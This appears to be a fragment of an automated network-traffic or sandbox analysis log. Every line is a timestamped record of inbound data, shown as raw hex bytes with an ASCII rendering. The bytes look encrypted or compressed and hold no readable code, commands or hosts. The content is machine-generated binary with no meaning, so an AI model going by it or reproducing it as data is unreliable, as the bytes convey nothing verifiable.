2023-01-25 08:44:47 UTC	1585	IN	Data Raw: b0 dc fe 91 cc ce cf 80 c4 01 b4 b0 bb 4b 86 76 15 dd 8f e9 a5 f0 b8 9d d7 c9 3d de 8b 10 54 0b 2c cc 82 d9 2a a4 6c 86 98 82 f6 7c da d3 56 0e 0f 96 69 96 93 20 aa 99 4a ed a8 30 e4 46 a1 66 fd 53 20 86 08 fe 0e 5c 74 f0 fd 3f aa fa 05 29 92 7a 2c 41 90 2c f3 ca d9 8c 6a 2c 87 af 91 cb 65 31 d2 ac 5e b9 b5 8f 75 b1 8e 79 00 b1 27 dc a6 00 cf 33 57 37 94 e4 da 42 a9 96 ca 6b 0b d6 5b 69 ae 27 8f 21 9c 85 13 c7 d5 2d fa 92 56 4e f8 bc 4c 96 aa 4d 5a 20 f5 27 78 55 fc 9c 38 46 56 4a d0 e6 4e 94 c3 71 10 4d b4 0f ba cc 20 b7 6e 59 c9 4a f0 d0 33 52 1e bc a7 a8 af ba d8 f9 89 eb 25 61 88 5d 1d 93 0a 12 4f a5 3d 0c 00 b2 7d 25 89 36 10 ab cf f1 7b 6e 61 4a b4 d5 aa 0b 24 34 da 0d 29 00 f5 e4 f2 e7 c6 dc 9d 9e f2 10 80 74 2b cf 9d 3a 9e a9 62 1f 57 b7 cc a5 78 Data Ascii: Kv=T,*l\|Vi J0FfS \t?)z,A,j,e1^uy'3W7Bk[i'!-VNLMZ 'xU8FVJNqM nYJ3R%a]O=}%6{naJ$4)t+:bWx
2023-01-25 08:44:47 UTC	1601	IN	Data Raw: f6 d4 15 30 57 1b bc 78 6d 30 dd 66 32 52 cb 8a 3a 9d a5 f4 12 97 5a f7 11 04 c9 d9 41 8a 71 52 f2 3b d5 55 9f d7 b2 9c f9 25 de ed 60 17 fd 90 58 99 41 6a a1 40 c0 10 c6 ba 47 7d 6a d4 a1 6c 17 f1 19 d6 e2 c4 1a ff 98 02 8a 6b df 4a 8f a2 6e 3e 40 59 be f4 0f bd e3 31 37 43 9b b3 81 cc a4 6c 5b 44 65 c2 7b ec b0 e2 53 97 53 75 70 f0 40 2a af 72 35 f9 ad 4f 35 e6 a1 a0 21 fe 90 fd b8 b7 94 ae 55 7f 1a 1c 3d 91 d7 d9 af b2 cf 64 ff b1 f9 d2 72 8e 3b e3 96 6c 07 bd 4d b2 84 95 e8 3d ba 19 bc 57 a6 98 a0 05 92 55 90 f6 67 67 40 dd 05 a0 cd a9 0e 5a b7 6e eb fe e6 5f 21 15 cd ea 3f 4c 52 eb d7 9a 88 d8 f0 78 a0 de 6a ef ff 05 18 8f 22 4b 9b e7 fb d7 ef ff 71 9a af 14 19 74 69 96 2c 5e 05 41 28 d5 b6 40 3c 89 a9 99 80 d6 01 06 f2 f1 26 5c 76 ab f3 d0 20 81 1b Data Ascii: 0Wxm0f2R:ZAqR;U%`XAj@G}jlkJn>@Y17Cl[De{SSup@*r5O5!U=dr;lM=WUgg@Zn_!?LRxj"Kqti,^A(@<&\v
2023-01-25 08:44:47 UTC	1617	IN	Data Raw: 14 ec d3 5d e3 e4 be 23 43 c5 82 46 b0 12 4e a4 a3 0e 0e 14 f6 d7 02 e1 e6 16 c7 25 13 64 ef 8a 89 6c 77 6a 86 d2 57 65 84 18 5b a7 e2 a5 d4 e9 0e b2 ac 9f e8 fb 2f 13 a9 bd a1 5a 77 9c f9 12 6c 0c 26 93 c4 bb 6d db c2 82 ca 7b be 51 e6 3c af 21 cc a1 1d 38 0f c2 b8 39 41 7a af 23 af a9 69 75 dd 44 a0 16 48 ff de b6 b8 46 66 94 85 64 35 5e 61 c7 c1 da 67 e3 83 3f 10 17 3d e9 eb 36 02 cf 2b 4a aa 5c 4e ae 75 76 83 f9 56 8e eb dc 71 0c 53 aa 2e 07 eb ee ef 19 60 78 29 cb d1 f6 99 8f 70 35 4b ad 41 63 79 76 7e 4d 4c 11 e9 69 c0 f0 c2 bb 08 6a df ab 0f 4f 2e ed 4c 8b 2f 75 55 64 eb 81 16 8f 47 35 dd c7 a7 f0 e7 a8 6c 13 02 9c 8e 49 5a cb 18 c8 5c d4 bd 71 b9 a6 e6 c3 56 16 eb c4 85 49 37 c5 3f 34 77 56 12 3a 6e 00 3a a2 1b d7 90 4d f5 5b 8a ed 6a f5 43 e0 9c Data Ascii: ]#CFN%dlwjWe[/Zwl&m{Q<!89Az#iuDHFfd5^ag?=6+J\NuvVqS.`x)p5KAcyv~MLijO.L/uUdG5lIZ\qVI7?4wV:n:M[jC
2023-01-25 08:44:47 UTC	1633	IN	Data Raw: 05 03 2e 77 80 0f 78 fc 32 33 5d 32 14 3a 6f 8f 65 a1 3a 38 66 b4 1e 8f 56 b5 91 a4 b7 9f aa b2 df 09 80 66 1c e0 e0 20 52 98 3a 26 10 88 1d 71 ee e6 b9 5b b5 cf 1e 2f 62 ad a5 ef 4b 06 bb ea 15 46 1c 4d 0c ab 89 12 ae 1a e4 f2 09 04 7e 2f d3 05 dd d8 d1 e4 f3 15 c0 e4 86 b1 61 15 ce 24 67 df be 45 b2 5e b9 47 8e 7e 9e 6c 63 88 e7 a1 e0 84 59 d6 68 c9 40 02 c3 2f 64 4d e6 69 26 08 11 83 0f 83 ec ff 08 d7 dc d7 86 ab cf 0d 0d 51 52 00 8e 67 bc 4e 5f 4e 5e 64 ba a4 a8 90 35 a7 c2 ea 08 ba 6b a6 34 66 89 75 43 ff a0 51 56 53 49 c1 f9 fb a4 1d 64 05 c6 bb 0f e9 9f 1a 98 9a 76 82 b2 b7 d6 27 be 7f 8a 16 bb 89 af 53 c7 f1 47 8b 70 02 fa 98 5c c1 a2 3f b8 5e 5a 31 3f 58 21 34 9b 65 ae 2f 3f 2c f9 9d 10 9d a1 fe 7e d5 b6 d3 a3 9a 7f 38 57 2e 78 3f 9c d2 11 93 6a Data Ascii: .wx23]2:oe:8fVf R:&q[/bKFM~/a$gE^G~lcYh@/dMi&QRgN_N^d5k4fuCQVSIdv'SGp\?^Z1?X!4e/?,~8W.x?j
2023-01-25 08:44:47 UTC	1649	IN	Data Raw: 97 5c da 94 cf 57 fd cf bd b7 0f 0a ab 17 61 28 de d1 75 2b 1b 56 7b e2 4a eb bc c3 d6 f2 3c d4 d2 85 9f f6 41 0e 32 a7 db cb 63 ed 12 82 8a 33 7e 98 b1 69 2e 1a 65 36 e0 dc f2 8b 38 66 44 b9 77 eb 82 67 b2 5d 9e c0 49 07 5e 18 f2 6f 63 78 c1 26 c9 4e 66 78 a4 11 0a f8 6f 99 0d 25 30 11 9b 82 d6 65 66 f7 30 84 ba b3 e4 52 98 be 27 bb d9 55 75 1f 6c 71 ae df 90 b3 62 7f ce 5f 19 c3 ef d4 a8 66 72 1f 66 a1 da d4 f7 d1 15 b6 8c 45 ca a5 aa 0f 0c 9e 61 e6 ac e2 4c 00 34 ce 49 b1 91 4c 77 4d fe 7a 8d e8 11 0e b3 74 43 76 b8 b1 fb 58 20 f2 d3 9b 80 81 7c 42 9a f3 01 12 44 82 4b 34 14 30 d8 4b c3 4c 0c 16 ce c8 7b 62 e8 aa 86 08 10 32 ad c9 b1 b3 81 37 15 a7 58 c9 88 28 4b e0 cd 30 e8 7e ae dc 48 82 fb 2f e7 4a 59 b0 2e 04 e2 00 b6 78 48 a0 8f ec bc 5b 43 c2 4b Data Ascii: \Wa(u+V{J<A2c3~i.e68fDwg]I^ocx&Nfxo%0ef0R'Uulqb_frfEaL4ILwMztCvX \|BDK40KL{b27X(K0~H/JY.xH[CK
2023-01-25 08:44:47 UTC	1665	IN	Data Raw: 9a 04 56 10 04 55 01 68 8a f7 56 48 f0 da 94 f6 4e f0 65 68 85 3a aa ee 07 df f2 5b b6 62 e1 e1 67 14 52 b1 5d 7b 5c c3 cf 84 12 11 e6 de 17 e2 c8 09 c5 2f 20 9c b6 97 8a cc 85 82 1b 22 0f b8 8c 56 6d 4c 60 40 69 94 a0 fe 03 97 00 e2 a6 ab 7e 7e 4a 93 f6 67 10 65 ac 8e 04 69 6f b3 a2 b4 71 d1 94 b0 f5 25 5e 38 6d 17 24 c3 08 25 10 bf 1f 63 b3 ee 3f d9 49 2f ea 64 78 f0 a9 96 f1 72 06 ed 27 75 02 4e 5a 3d fe ff 81 a2 0b 83 08 70 0a cb 97 e0 00 be 96 ea 5e 39 05 dc 65 44 f4 d4 a9 ef f5 aa 4e dc 18 28 3d 26 f4 e6 cd 61 b6 5c 4e fb 54 07 41 f4 b2 b3 c2 c4 f2 78 08 b7 5e 56 14 46 1a 26 30 c4 fc 56 e1 e9 96 6d 56 3e e1 62 df ea a1 80 59 5a a3 c5 28 f7 2f 05 f2 a5 4a 98 77 61 63 45 be f1 bc 43 27 ca 93 60 cb b6 37 28 5a b6 73 da 4a ad 5e 5c a0 03 1a d0 d2 21 b9 Data Ascii: VUhVHNeh:[bgR]{\/ "VmL`@i~~Jgeioq%^8m$%c?I/dxr'uNZ=p^9eDN(=&a\NTAx^VF&0VmV>bYZ(/JwacEC'`7(ZsJ^\!
2023-01-25 08:44:47 UTC	1681	IN	Data Raw: 33 02 90 08 77 6f 34 10 fe 6f 6c ca 41 9a f9 92 31 6e dd 95 8c e7 07 d3 2d d4 5c 62 c1 2c 9d 3d 09 53 6b ff 49 2d 2e 46 50 ed 94 23 63 69 11 5d 5e 4e b6 ce dc e4 9a 17 0c 50 c6 d3 59 51 74 67 58 78 7b fe 6a f7 bf 94 5d 5b f7 69 e3 44 72 be 45 e0 a7 9d 80 3c 17 01 3f e6 50 ba e0 46 02 88 22 f0 ff b3 cd 03 89 fd b5 31 c6 14 71 d9 3d 17 85 13 21 d6 1a 70 bb f4 b0 ce aa 3f 00 f0 2b 70 f6 5a a1 c1 d7 49 7a db c9 15 a4 68 01 34 c7 f7 f6 27 95 b6 41 75 52 72 db f7 73 e1 d0 9e 4c 44 8a 5c 34 91 01 ba 8f f5 cf 7d 26 81 36 f2 d4 42 c3 61 13 7e 6d 3c 3b 08 b3 ff 08 a4 5b 97 ed 78 43 9e 03 ae be 9d ea 03 b4 14 eb 0d 1f e8 df 51 2e 40 f5 27 3a 8d 94 01 6c 25 f0 c0 88 09 b4 69 cf f6 34 ed 66 7a 98 ac 8f 75 2f 82 31 cc 2b 89 40 a6 22 a8 d9 97 b0 78 48 89 0c f0 cd 4b ee Data Ascii: 3wo4olA1n-\b,=SkI-.FP#ci]^NPYQtgXx{j][iDrE<?PF"1q=!p?+pZIzh4'AuRrsLD\4}&6Ba~m<;[xCQ.@':l%i4fzu/1+@"xHK
2023-01-25 08:44:47 UTC	1697	IN	Data Raw: d3 1a 8e b7 cd d0 da 6c 29 ae f2 d6 d6 22 23 2a 9e 4c 8c a0 46 16 2a c9 70 a9 c4 5b f8 15 59 8a 9d 74 96 c5 ff b2 17 d6 e1 bf 5b ae fc a7 80 00 ce 7b 96 68 12 61 2e cd 8a 4a c9 00 00 c3 11 4a 39 7b 56 97 37 a8 51 a7 ae d5 f8 3d 46 ff 2d b3 2f ed 29 2b 98 67 1c d8 17 bd ae 7d 46 48 e6 b5 2a af 2d 5f 46 63 97 c0 2c 33 15 58 e6 bd 53 fc e0 da 19 c8 7f 68 9f 65 69 8e c5 6a 58 f0 4d 73 fb 38 9e 39 12 2f db 12 53 1e f3 6f ff 79 ad a8 b4 31 cd 10 22 39 ba 5e 44 24 13 47 90 66 91 ca 21 cd 50 e8 01 ee b1 d0 ac e0 49 ba 20 18 eb c1 6d 86 7a 04 b3 be b1 6d a5 53 a3 8d 34 df 3a 48 fe 5d a6 f5 ef 3f a3 53 35 b8 64 5d 86 85 82 f5 10 ad ab 2b 87 f4 f8 66 ba ec dd fd e5 69 e5 20 0e b5 65 ed bb f6 e5 c8 c4 8c ee d7 be d0 16 d4 8b 65 0d 49 8e 66 88 4f 5b df 74 db a2 71 b0 Data Ascii: l)"#LFp[Yt[{ha.JJ9{V7Q=F-/)+g}FH*-_Fc,3XSheijXMs89/Soy1"9^D$Gf!PI mzmS4:H]?S5d]+fi eeIfO[tq
2023-01-25 08:44:47 UTC	1713	IN	Data Raw: 76 45 be b9 21 c8 32 30 92 72 0d 88 4d 64 ac d4 af 32 7e 7f f8 d6 80 a9 ec ce 38 f2 65 2d b2 52 bb 44 0f 78 3b 99 d4 e4 f8 06 73 32 2d a3 a5 00 13 f7 6d aa 16 47 86 2f 22 82 4c 81 67 81 39 80 6e 20 a1 04 14 ca 2c 9f d1 be 62 44 37 7e 65 fe 84 fa 7d 3f d7 99 81 ba 26 c3 aa 2e 29 26 0a 62 20 32 15 75 4d af ac cf f3 f1 55 8a c7 23 57 51 7a 84 86 55 f1 19 70 c8 17 aa de 22 16 6e 28 b9 0d 8b 20 89 e7 f7 d6 a3 06 d4 cb 7f 86 c8 a3 be b0 54 59 fa d4 3a db 91 a5 39 ed 8d 01 fa 19 bf 6a c8 1a 52 81 6c f8 65 90 52 39 65 41 8d 6f 22 82 91 03 7d a6 37 e3 ba 4a 8e e8 d9 ae d7 83 1a 08 0c ab e6 81 4e 70 63 2b 04 63 f7 bf eb e5 b4 41 8c 5c 7f 83 d7 22 cd c0 bf 3f 2d 01 eb b2 c6 19 9a 47 d3 12 80 8f 97 13 c9 88 04 08 3a 03 c3 8e 98 6e 43 74 42 1f 14 63 32 39 b8 8d b3 65 Data Ascii: vE!20rMd2~8e-RDx;s2-mG/"Lg9n ,bD7~e}?&.)&b 2uMU#WQzUp"n( TY:9jRleR9eAo"}7JNpc+cA\"?-G:nCtBc29e
2023-01-25 08:44:47 UTC	1729	IN	Data Raw: dc 9b d0 2a b6 22 c5 f4 46 d6 18 b1 54 52 db 51 4b 13 26 57 cb 6e 5e 1e 5e 12 11 a7 37 28 e1 15 e5 a9 85 92 8f 41 b2 a6 c8 14 76 bc 48 12 fc 5f 85 f4 48 f9 a9 ab b4 22 f4 5b a7 11 6a 41 55 82 b8 3d 2c dd 77 8b 26 ba cf 28 d1 63 c1 ca e5 2c ed 4b bd b0 4f 5c fe 58 f0 e3 af 5b a5 09 dd 35 f6 7c b6 07 a6 b7 82 a9 83 22 27 34 eb 9d 9c a2 fb 6d a3 9c 8f 9e ac 7a d9 86 f1 8c d4 e0 f4 0f 11 41 ab 3c 00 4e c0 a9 ec a8 7a 37 a8 31 52 97 27 d9 bf c0 a6 9d 26 ea e7 9a b2 ee 12 40 c8 c6 c0 8f e5 2d 7b 9f 09 b8 75 1c 1a a0 79 19 70 88 da 29 e4 d1 38 6e 44 e6 47 64 f0 e2 55 a1 2d d4 94 5d b7 db 29 96 4a 3a 36 32 9f 04 9a ea d7 57 46 64 cb 0a 83 b2 39 90 66 48 4e f8 e9 6b 41 30 96 fe b3 d5 d0 b5 c8 25 2e 12 12 07 3f 45 f5 2a 24 49 f8 6a 83 82 72 55 7f 6c 03 18 ad 8c 6e Data Ascii: "FTRQK&Wn^^7(AvH_H"[jAU=,w&(c,KO\X[5\|"'4mzA<Nz71R'&@-{uyp)8nDGdU-])J:62WFd9fHNkA0%.?E$IjrUln
2023-01-25 08:44:47 UTC	1745	IN	Data Raw: dc f3 42 19 9b ab 9c 5e ae 45 c4 24 69 fb 4b 6f c5 3f f5 86 4b 69 1d 99 3f 39 6b a2 44 65 3c 4e 57 75 0f c5 6c c5 a9 d2 39 35 a1 ea 49 17 9b e2 02 f8 2d 7a 21 fa cc 8a 4d 2b 20 3f 10 b7 6a 6f 48 98 c2 ff 77 f6 12 fb 28 f6 66 7b d1 85 be d1 7b a0 f3 31 4f 85 0e f9 40 14 60 08 88 3b 98 04 8d 2b bb cc 57 24 5b 22 75 25 7f c1 27 b1 d2 97 65 45 fc 53 30 72 55 09 2b f8 2e 85 e9 8e 87 7c 27 77 62 a3 cc cd fc 89 b3 82 8b 24 21 b3 a3 68 77 f6 4b 75 cd bd 86 c4 b8 4b 14 bb 64 c9 91 83 52 1c ac dc 1f 13 ad 8d 15 db 02 2e d7 e8 bd 4e ff b2 65 2b 8c 38 75 42 6a b7 84 4c 31 c9 87 39 8e 23 15 61 f6 c8 18 64 0b cc 2b 65 19 b6 c9 0e 43 ca 37 07 98 a0 b7 bd ba cc 85 19 27 98 76 40 6f b7 c3 b7 60 f2 29 a1 6d 69 85 19 9f 65 43 46 36 98 4d 2a 20 c0 ff 76 f3 1e 2e f3 a9 a5 08 Data Ascii: B^E$iKo?Ki?9kDe<NWul95I-z!M+ ?joHw(f{{1O@`;+W$["u%'eES0rU+.\|'wb$!hwKuKdR.Ne+8uBjL19#ad+eC7'v@o`)mieCF6M* v.
2023-01-25 08:44:47 UTC	1761	IN	Data Raw: a2 46 d9 59 9d 00 9b 25 02 72 6d 21 2d df 16 bf 4f 4d c1 c5 7b e2 51 04 23 e8 7e 4e 34 46 7d 94 31 1b 85 8f d4 9c d6 0c a8 8a ea 3e 33 61 0a 30 18 cf 75 4c c2 d9 df 5e 99 0e 24 6d 63 1c 86 0f f7 12 7d 27 0e 4b 67 0c 45 09 8a 9f ff 32 b9 65 67 80 8c 70 8a 63 7a b8 d1 be 76 b5 cb 3b b2 49 c1 a6 99 c4 ce c8 11 30 e8 4c 11 76 d3 3f be a5 94 82 23 ce d2 af 08 74 df 96 14 50 49 9a 42 23 7e 0a 4a 16 19 04 cb 66 46 0a 8a 0a 00 56 a8 76 21 74 81 c8 03 b0 43 02 41 82 07 ff cb 74 bb 8a bb 8b fe 8e 2e 96 5f 5c 95 9f 43 d8 e0 3a 1b 0e 18 e7 04 66 04 f7 a8 20 f6 de 07 5d 3a da fa f0 c8 3c c6 91 98 57 af 06 a5 d3 2f be bf 99 c5 1c 4a 3b 48 7b d7 bf 79 52 43 e7 31 2c d3 11 f8 57 1d 72 c6 19 20 32 ed 31 48 17 91 fa 6d a6 54 af 97 82 d6 61 63 8f 09 9b 66 43 79 b3 b8 24 43 Data Ascii: FY%rm!-OM{Q#~N4F}1>3a0uL^$mc}'KgE2egpczv;I0Lv?#tPIB#~JfFVv!tCAt._\C:f ]:<W/J;H{yRC1,Wr 21HmTacfCy$C
2023-01-25 08:44:47 UTC	1777	IN	Data Raw: 9a a3 3e 1a e0 cf 7a 2a 32 c1 68 4a 34 c6 65 e6 9d 45 e9 70 34 e6 58 fb f7 13 95 8a 51 20 5b 46 97 43 92 62 2d 57 4f eb 44 03 7b 57 09 5e 21 07 eb 60 a3 fe 62 f5 b4 3f b5 d7 4b d0 2d 1d b9 11 85 cd 8e d2 32 a8 08 20 4c 3b c9 d8 b4 1e ce 80 46 94 b0 4b 87 4d 13 46 d1 2c d8 47 88 bc cf a4 6d 95 e2 57 52 81 49 99 08 05 8d 69 55 39 bc f4 ca bb 95 d8 19 f2 15 e0 1d 2d ca c2 a0 71 cc 1f 76 ba 79 bf 4e 3e 6f ac 83 bb 9f 0e d1 bc d5 ca ee c9 91 f5 8f 82 9d 12 d3 ef e9 83 47 8b af eb 10 fc c8 22 11 a1 72 4d 79 47 35 55 bd 73 77 15 17 83 d1 3c 6f d6 be 4d 88 72 8e d8 3e 3e 38 0d be e7 73 b7 54 2f 57 c2 c1 df ed a4 2b bb ec 27 31 74 d6 22 54 53 5c 71 14 c5 6e b7 98 cb cb fd e4 65 a8 a4 09 64 ae bf a7 75 22 5a 37 3b a2 72 12 f7 0f 82 74 f9 a7 1d 0b 87 d3 b3 19 e6 aa Data Ascii: >z*2hJ4eEp4XQ [FCb-WOD{W^!`b?K-2 L;FKMF,GmWRIiU9-qvyN>oG"rMyG5Usw<oMr>>8sT/W+'1t"TS\qnedu"Z7;rt
2023-01-25 08:44:47 UTC	1793	IN	Data Raw: af b7 00 26 08 61 77 17 02 1f b1 f4 db 91 2e 20 d5 04 6d 56 c4 37 3c 57 aa 24 2f 9b 94 30 8f 89 03 51 a0 01 87 de 9d a7 a9 9b 35 cc 2c 5b 11 51 66 5d c4 70 32 a3 fa 0b e6 23 7d 2a 88 ed 09 88 c2 42 1e 99 db 04 01 be 69 95 e9 f1 ca af 47 ec 81 e4 ec 01 59 b2 b6 9e 63 19 20 91 fa aa a6 29 c7 81 9d 76 6d f9 0d 2e da 74 f0 19 22 8c 52 5e c5 86 a7 36 25 c4 f9 67 01 55 f8 05 f9 5d 7b 2e 13 e8 2b 79 d4 63 36 44 4e ab 19 2a 6a 73 df 3b b9 11 85 18 de 98 fc 9e 68 ba d9 ba 81 2f 73 8c b6 5e e3 c8 79 20 87 9e 3f 99 5d b3 3d 50 04 6e de 78 53 7f 74 39 df a4 92 48 1b fc 69 9a 65 dc 78 68 04 98 c0 db 62 95 35 b9 b9 d5 f0 5f dd ff e6 68 73 6d b3 40 54 b9 34 46 a8 e6 8c e2 53 de 5e 84 d7 b5 69 a5 4e 0f f2 c6 92 b2 b4 c0 b8 03 78 b9 79 36 9e de 36 1c 87 cc 6e c8 51 a1 cc Data Ascii: &aw. mV7<W$/0Q5,[Qf]p2#}BiGYc )vm.t"R^6%gU]{.+yc6DNjs;h/s^y ?]=PnxSt9Hiexhb5_hsm@T4FS^iNxy66nQ
2023-01-25 08:44:47 UTC	1809	IN	Data Raw: db 91 db 09 d2 35 98 16 33 fe f8 60 f9 a5 32 44 36 15 b6 84 7d 1f 74 5a 96 c9 53 17 2d 71 ca 72 67 7f 9b 55 ce a6 98 9d 36 44 5d 9e 00 a5 d5 1d 6e 85 9a 92 2a 09 06 7e 97 12 8a 15 4a 64 9a fa f4 a4 de fa 5d fc 02 5e 1d 22 36 fc 3f 73 40 23 37 89 bf 61 35 2f 1b a1 0f 95 2a 48 50 dd bb 6e c7 04 95 f2 64 57 87 f0 ff b6 f7 31 8a 24 7a 29 66 98 60 fa fd c6 5c 6d c3 29 ee a7 dd db 4f 46 7c 92 bb f3 50 38 09 08 32 dd bc f2 cf 4e 6c bd 5d 99 fb 67 4f 2d 22 ea 40 8c 4c 94 de 0a 04 fd a7 50 cd 69 93 91 08 42 64 82 a8 01 6b c4 08 d2 71 63 5b ed f2 5b de 9a 25 22 fd a5 ec 18 cb f3 fa bb 8d ed b2 7b 0e be c5 43 a0 78 35 b3 ef 64 17 ce 72 5a 09 cb c6 39 db 1d 5e a2 7c f1 ab de d0 84 0d cb ac a0 9a 30 2a 99 45 c0 8b 9b 53 94 09 d4 24 3b 6e 40 52 80 43 59 db 68 96 34 b0 Data Ascii: 53`2D6}tZS-qrgU6D]n~Jd]^"6?s@#7a5/HPndW1$z)f`\m)OF\|P82Nl]gO-"@LPiBdkqc[[%"{Cx5drZ9^\|0*ES$;n@RCYh4
2023-01-25 08:44:47 UTC	1825	IN	Data Raw: b5 94 b7 af 11 7c d9 9e ad 0d a8 6c 4b 18 0b 7f b2 a4 f6 d3 88 12 b9 9a dc c1 c5 cd eb 69 5a b1 bb 73 2d c3 aa 6a 55 1b 3e fe 02 0f cd ab aa 8a 88 90 aa 8f c4 08 62 e1 4c 07 83 03 97 9f 35 85 00 e7 2b 9d b8 e6 2e 43 79 b7 56 d2 c8 f2 11 3d 5e a7 3f c2 1f 62 b8 23 2a ee 74 c9 95 88 ab 06 09 56 70 f8 69 97 e5 e9 af 5a 13 e4 c5 8a e1 2e e7 2f 9c 66 80 66 5a 7f a5 8b 6d 3a 1f c2 4d bc b0 e3 3d 88 bb 7e 60 39 98 65 31 f1 78 11 7c 27 b5 db 88 74 5e cf 15 fe 9f 52 3d 7f 3b 43 7f 6f d6 46 ed a7 a4 97 1c 96 ba 84 9d 96 fd f6 12 17 82 75 2e 24 81 be d2 f5 d3 ba 01 50 4f e7 9e 63 15 de 4e 05 34 e1 67 2e ca 30 0d 77 44 dc e8 ee 92 75 e5 ec fe 0d 48 9a 1b b9 36 fc be 86 32 b4 da c6 71 5c b7 80 6d b8 b0 4e f5 b3 2c 4b 63 96 ce 50 27 42 5d b1 37 ec dd cb 23 50 41 be aa Data Ascii: \|lKiZs-jU>bL5+.CyV=^?b#*tVpiZ./ffZm:M=~`9e1x\|'t^R=;CoFu.$POcN4g.0wDuH62q\mN,KcP'B]7#PA
2023-01-25 08:44:47 UTC	1841	IN	Data Raw: df ee 70 5a 6a ce f0 56 70 b6 a2 ee d1 7d 55 3d 1d 49 7e f6 b1 f0 8f d6 bc 2e 5e 25 d1 83 36 be 9a e0 bc 37 d7 ac 4d a3 57 f8 cb 99 f6 ef d4 78 aa ea d5 cf c9 b8 d7 42 23 40 f4 fa 8f 06 c0 42 49 58 c4 79 8d 01 d7 9e 76 2f 56 f4 21 95 d5 b4 94 9d 9f 8a 80 3f c2 81 d7 94 78 4b e3 79 06 a5 78 97 a1 8d c8 f3 d3 ac 74 fe 90 b2 2d 38 26 22 8f 21 63 09 e4 f1 6d 6d 80 83 4f 21 3c 1c d6 89 90 17 69 36 d0 67 bb a0 38 b3 d2 6a 27 b2 43 73 d3 72 e6 5f 99 29 7f 0d 94 c4 a0 bd 51 70 50 2c f9 0a 4d 0c 00 d4 78 79 49 b3 e2 1b 86 cc 51 5a 5e 38 50 c1 6d 46 e6 a4 7e 93 c9 be 63 76 19 1d 03 ec 69 d7 9a 35 4f c0 9f ea 02 63 81 ba 48 e7 f8 4f 59 45 23 fa e8 9f b2 56 9e f9 0e c5 98 fe 22 c6 83 45 71 bd 92 47 8a bc 50 82 dd 83 ea c9 02 0c d6 8c c6 64 07 57 38 fb 5a 51 ce 53 f6 Data Ascii: pZjVp}U=I~.^%67MWxB#@BIXyv/V!?xKyxt-8&"!cmmO!<i6g8j'Csr_)QpP,MxyIQZ^8PmF~cvi5OcHOYE#V"EqGPdW8ZQS
2023-01-25 08:44:47 UTC	1857	IN	Data Raw: 17 30 19 8b 4a 0f 42 e2 4a 89 82 a2 5f 26 56 20 f0 d9 63 56 3a c5 51 e0 7f 95 60 44 2b ab 7f a8 5d 7e 6c 50 b0 9a 0d 5f 52 f1 57 8b e7 fd 66 b2 6e b6 4b 5d d7 c2 fe 51 bc 15 02 67 51 63 e3 3e 58 a6 c3 7b 17 02 b4 dc 20 f8 57 cc 3c 44 28 54 88 b6 51 44 81 b3 56 3c 20 19 5e 08 75 e7 08 33 fc 01 da ae 72 cd 1e c9 c5 b4 11 5e f7 60 04 3c 8e 17 05 c5 00 6f dd 8f e7 46 3d b4 2f 66 be 19 2f 3a 42 00 da af a5 fd d9 a8 a4 78 87 22 86 8f 9d c4 ee 68 00 56 67 9e 91 f3 6c b9 58 ab e4 90 84 24 26 30 a6 85 1b 07 8d 73 8c b6 e8 b2 31 02 74 69 ee a2 75 d4 e4 46 66 18 78 1c a2 b4 49 ec 3d 5d 25 83 7a 3c 53 b1 f0 35 3e a3 02 ce 40 1b 38 6c 6e 15 24 42 1b c7 5d 08 41 b8 a5 4b 3b 4b 8d 26 02 f2 07 60 f6 3e b0 23 3f e6 4a e4 ba 72 ca 32 ac 9c 74 b2 65 ec d6 77 ce 46 00 37 ce Data Ascii: 0JBJ_&V cV:Q`D+]~lP_RWfnK]QgQc>X{ W<D(TQDV< ^u3r^`<oF=/f/:Bx"hVglX$&0s1tiuFfxI=]%z<S5>@8ln$B]AK;K&`>#?Jr2tewF7
2023-01-25 08:44:47 UTC	1873	IN	Data Raw: e4 16 50 e8 1e b9 73 64 75 6f 45 b5 6e 16 40 ef 8d 27 dd c7 3a 96 b3 ec d6 b6 36 7f 9f cf 8f d3 c7 2c 54 4c c6 94 91 9a d4 29 02 f9 b7 1f f8 57 7a 88 01 6f 4a 1b 9f c5 22 f3 9d 3a 4b 5b 1a 2e af 85 9b 51 b6 e4 73 7a 64 95 18 25 2d 36 1f 81 7e eb 56 ef 2a c7 ca 70 b7 66 fa fc 62 2f 16 dd 0d 53 64 76 88 2b 96 ce 01 11 f3 5b b8 d0 82 27 9a bc fc 8e 9b 38 43 5b 2c c7 12 37 e9 65 d4 fb 02 f5 90 ac 9c 24 dc 58 39 51 88 47 b6 f0 63 c2 80 7e 9d 86 3e 02 20 a1 e4 5f a5 01 b5 50 00 5e 33 a5 20 23 39 99 b2 af 5c 18 c3 3d 31 0d 04 db 2b 61 e9 51 7a f1 1f d9 bb f2 15 0c 4c 1c b3 2b 4a e7 f8 9e 58 43 fc bb 8c 67 23 08 8a a4 31 54 a2 03 b8 8f 98 7e 1f 6a 63 6f 06 03 e7 de 82 47 de 8a 5d fa 8f c0 a6 93 a9 0c cf 70 ce 88 a9 71 da 5d 6b 19 33 e4 a9 63 18 c0 fd bd 6c c9 a8 Data Ascii: PsduoEn@':6,TL)WzoJ":K[.Qszd%-6~V*pfb/Sdv+['8C[,7e$X9QGc~> _P^3 #9\=1+aQzL+JXCg#1T~jcoG]pq]k3cl
2023-01-25 08:44:47 UTC	1889	IN	Data Raw: fc 69 62 cd 45 e7 48 c2 f6 79 bf 3e a3 44 49 13 33 fa e6 29 f4 50 9f 3d 38 33 0c 3b f4 a1 b4 fd 54 85 be e8 86 11 81 2b 7d 3a 7f 85 c7 e6 50 a8 25 45 0f b1 48 36 bb 28 dd 6e 31 7d 3c f3 13 8d 4d 5b a3 33 3e 34 12 fc 43 75 f7 16 b5 f7 0c a0 07 bd 8d 75 1b 01 ea b6 f3 ed 06 19 f5 4c 5f 23 88 10 21 d2 5f 32 c7 09 29 db 6d c1 4e 28 ea d2 98 b5 4c 36 a8 2e 25 dc 3a 06 da 51 77 17 ef ee 4e 8b 39 4c cd 42 45 b3 26 58 d4 31 8a 1c c6 b0 8a 31 13 cc 83 c0 3c a6 b3 f1 93 74 f1 81 c8 ae 11 ad 3e 63 e1 6e fd ee 75 b0 7b 76 01 bc 6a 62 c7 3a e3 1c 81 26 9a 0a 07 6c e0 24 66 c1 76 15 bb bd 1e 54 fa 26 02 8a ad dd f5 ec a2 93 9f b5 2f 1d a1 da d1 38 14 8b b3 ad 11 c1 2b 77 52 e3 19 de f6 14 ec 17 9d 36 d2 2c 52 c7 e2 d0 1a 62 cd a3 f6 09 34 ed 7e 29 92 7d 98 b7 61 52 c8 Data Ascii: 